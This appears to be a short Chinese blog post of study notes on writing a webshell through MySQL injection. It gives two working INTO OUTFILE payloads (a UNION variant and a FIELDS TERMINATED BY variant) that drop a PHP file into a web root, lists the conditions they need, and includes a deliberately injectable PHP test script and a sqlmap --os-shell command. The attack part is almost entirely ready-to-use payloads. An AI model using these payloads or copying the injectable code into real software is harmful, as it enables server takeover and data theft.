MySQL注入两种写Webshell的方法

作者: Luan 分类: 学习笔记 发布时间: 2017-04-11 14:00

利用条件:

root

GPC Off

有绝对路径

–secure-file-priv

1.union
id=2) union select 1,2,3,4,5,6,7,'<? phpinfo(); ?>’ into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’%23
2.no union

id=2) into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23

 

 

=============== 2017.04.13补充================

这里用的第二种方法是通过插入分隔符号来getshell的,所以必须查询结果有多个列

一般情况下的注入点都是符合条件的。

 

================2017.04.14再补充======================

测试文件:

luan_test.php

<?php
	@$link= mysql_connect("localhost","root","");
	mysql_select_db("mysql",$link);
	$user = strtolower($_GET['user']);
	if(strpos($user,"union") === false){
		$sql= "SELECT * FROM user where user='{$user}'";
		echo $sql . '<br>';
		mysql_query($sql);
		echo mysql_errno() . ": " . mysql_error(). " ";
	}
?>

经测试,sqlmap最新版实际是支持这个方法的:

C:\luan\sqlmap>python sqlmap.py -u “http://192.168.2.200/luan_test.php?user=root” –os-shell

但是,如果–os-shell用不了,sqlmap有个写文件的选项,经测试不成功。。。。

也就是说,sqlmap只能传自己的webshell。

如果工具党遇到这种情况,直接使用sqlmap –os-shell然后用sqlmap上传的Webshell来操作就可以了。

 

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论